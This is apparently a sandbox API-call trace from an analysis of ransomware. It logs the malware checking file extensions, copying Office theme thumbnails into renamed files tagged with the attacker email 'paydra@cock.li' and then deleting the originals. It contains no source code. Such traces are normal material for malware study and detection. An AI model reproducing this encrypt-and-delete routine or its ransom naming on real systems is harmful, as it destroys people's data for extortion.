[0046.238] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.238] lstrlenW (lpString=".zip") returned 4 [0046.238] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.238] lstrlenW (lpString=".rar") returned 4 [0046.238] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.238] lstrlenW (lpString=".bz2") returned 4 [0046.238] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.238] lstrlenW (lpString=".7z") returned 3 [0046.238] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.238] lstrlenW (lpString=".dbf") returned 4 [0046.238] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.238] lstrlenW (lpString=".1cd") returned 4 [0046.238] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.238] lstrlenW (lpString=".jpg") returned 4 [0046.238] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.238] lstrlenW (lpString=".doc") returned 4 [0046.239] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.239] lstrlenW (lpString=".docx") returned 5 [0046.239] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.239] lstrlenW (lpString=".pdf") returned 4 [0046.239] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.239] lstrlenW (lpString=".xls") returned 4 [0046.239] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.239] lstrlenW (lpString=".xlsx") returned 5 [0046.239] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.239] lstrlenW (lpString=".ppt") returned 4 [0046.239] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.239] lstrlenW (lpString=".zip") returned 4 [0046.239] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.239] lstrlenW (lpString=".rar") returned 4 [0046.239] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.239] lstrlenW (lpString=".bz2") returned 4 [0046.239] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.239] lstrlenW (lpString=".7z") returned 3 [0046.239] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.239] lstrlenW (lpString=".dbf") returned 4 [0046.239] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.239] lstrlenW (lpString=".1cd") returned 4 [0046.239] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.239] lstrlenW (lpString=".jpg") returned 4 [0046.239] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.240] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.240] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0046.247] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=21745) returned 1 [0046.247] CloseHandle (hObject=0x220) returned 1 [0046.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0046.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0046.247] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.247] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.248] GetLastError () returned 0x0 [0046.248] ReadFile (in: hFile=0x220, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0046.401] WriteFile (in: hFile=0x1c8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0046.402] ReadFile (in: hFile=0x220, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.402] WriteFile (in: hFile=0x1c8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.402] SetEndOfFile (hFile=0x1c8) returned 1 [0046.402] CloseHandle (hObject=0x1c8) returned 1 [0046.403] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.403] SetEndOfFile (hFile=0x220) returned 1 [0046.403] CloseHandle (hObject=0x220) returned 1 [0046.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.404] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0046.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.404] lstrlenW (lpString=".doc") returned 4 [0046.404] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.404] lstrlenW (lpString=".docx") returned 5 [0046.404] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.404] lstrlenW (lpString=".pdf") returned 4 [0046.404] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.404] lstrlenW (lpString=".xls") returned 4 [0046.404] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.404] lstrlenW (lpString=".xlsx") returned 5 [0046.404] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.404] lstrlenW (lpString=".ppt") returned 4 [0046.404] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.404] lstrlenW (lpString=".zip") returned 4 [0046.404] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.404] lstrlenW (lpString=".rar") returned 4 [0046.405] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.405] lstrlenW (lpString=".bz2") returned 4 [0046.405] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.405] lstrlenW (lpString=".7z") returned 3 [0046.405] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.405] lstrlenW (lpString=".dbf") returned 4 [0046.405] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.405] lstrlenW (lpString=".1cd") returned 4 [0046.405] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.405] lstrlenW (lpString=".jpg") returned 4 [0046.405] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.405] lstrlenW (lpString=".doc") returned 4 [0046.405] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.405] lstrlenW (lpString=".docx") returned 5 [0046.405] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.405] lstrlenW (lpString=".pdf") returned 4 [0046.405] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.405] lstrlenW (lpString=".xls") returned 4 [0046.405] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.405] lstrlenW (lpString=".xlsx") returned 5 [0046.405] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.405] lstrlenW (lpString=".ppt") returned 4 [0046.405] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.405] lstrlenW (lpString=".zip") returned 4 [0046.406] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.406] lstrlenW (lpString=".rar") returned 4 [0046.406] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.406] lstrlenW (lpString=".bz2") returned 4 [0046.406] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.406] lstrlenW (lpString=".7z") returned 3 [0046.406] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.406] lstrlenW (lpString=".dbf") returned 4 [0046.406] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.406] lstrlenW (lpString=".1cd") returned 4 [0046.406] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0046.406] lstrlenW (lpString=".jpg") returned 4 [0046.406] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.406] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.406] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.547] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=53115) returned 1 [0046.548] CloseHandle (hObject=0x1e8) returned 1 [0046.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0046.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.565] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.565] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.565] GetLastError () returned 0x0 [0046.565] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0046.575] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0046.577] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.577] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.577] SetEndOfFile (hFile=0x188) returned 1 [0046.577] CloseHandle (hObject=0x188) returned 1 [0046.577] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.577] SetEndOfFile (hFile=0x1e8) returned 1 [0046.578] CloseHandle (hObject=0x1e8) returned 1 [0046.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.579] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0046.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.581] lstrlenW (lpString=".doc") returned 4 [0046.581] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.581] lstrlenW (lpString=".docx") returned 5 [0046.581] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.581] lstrlenW (lpString=".pdf") returned 4 [0046.581] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.581] lstrlenW (lpString=".xls") returned 4 [0046.581] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.581] lstrlenW (lpString=".xlsx") returned 5 [0046.581] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.581] lstrlenW (lpString=".ppt") returned 4 [0046.581] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.581] lstrlenW (lpString=".zip") returned 4 [0046.582] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.582] lstrlenW (lpString=".rar") returned 4 [0046.582] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.582] lstrlenW (lpString=".bz2") returned 4 [0046.582] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.582] lstrlenW (lpString=".7z") returned 3 [0046.582] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.582] lstrlenW (lpString=".dbf") returned 4 [0046.582] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.582] lstrlenW (lpString=".1cd") returned 4 [0046.582] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.582] lstrlenW (lpString=".jpg") returned 4 [0046.582] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.582] lstrlenW (lpString=".doc") returned 4 [0046.582] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.582] lstrlenW (lpString=".docx") returned 5 [0046.582] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.582] lstrlenW (lpString=".pdf") returned 4 [0046.582] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.582] lstrlenW (lpString=".xls") returned 4 [0046.582] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.582] lstrlenW (lpString=".xlsx") returned 5 [0046.582] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.582] lstrlenW (lpString=".ppt") returned 4 [0046.582] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.582] lstrlenW (lpString=".zip") returned 4 [0046.583] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.583] lstrlenW (lpString=".rar") returned 4 [0046.583] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.583] lstrlenW (lpString=".bz2") returned 4 [0046.583] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.583] lstrlenW (lpString=".7z") returned 3 [0046.583] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.583] lstrlenW (lpString=".dbf") returned 4 [0046.583] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.583] lstrlenW (lpString=".1cd") returned 4 [0046.583] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0046.583] lstrlenW (lpString=".jpg") returned 4 [0046.583] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.583] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.583] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.584] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=27177) returned 1 [0046.584] CloseHandle (hObject=0x1e8) returned 1 [0046.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0046.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.584] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.584] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.588] GetLastError () returned 0x0 [0046.588] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0046.591] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0046.592] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.592] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.592] SetEndOfFile (hFile=0x188) returned 1 [0046.592] CloseHandle (hObject=0x188) returned 1 [0046.593] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.593] SetEndOfFile (hFile=0x1e8) returned 1 [0046.593] CloseHandle (hObject=0x1e8) returned 1 [0046.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.594] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0046.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.594] lstrlenW (lpString=".doc") returned 4 [0046.594] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.594] lstrlenW (lpString=".docx") returned 5 [0046.594] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.594] lstrlenW (lpString=".pdf") returned 4 [0046.594] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.594] lstrlenW (lpString=".xls") returned 4 [0046.594] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.594] lstrlenW (lpString=".xlsx") returned 5 [0046.594] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.594] lstrlenW (lpString=".ppt") returned 4 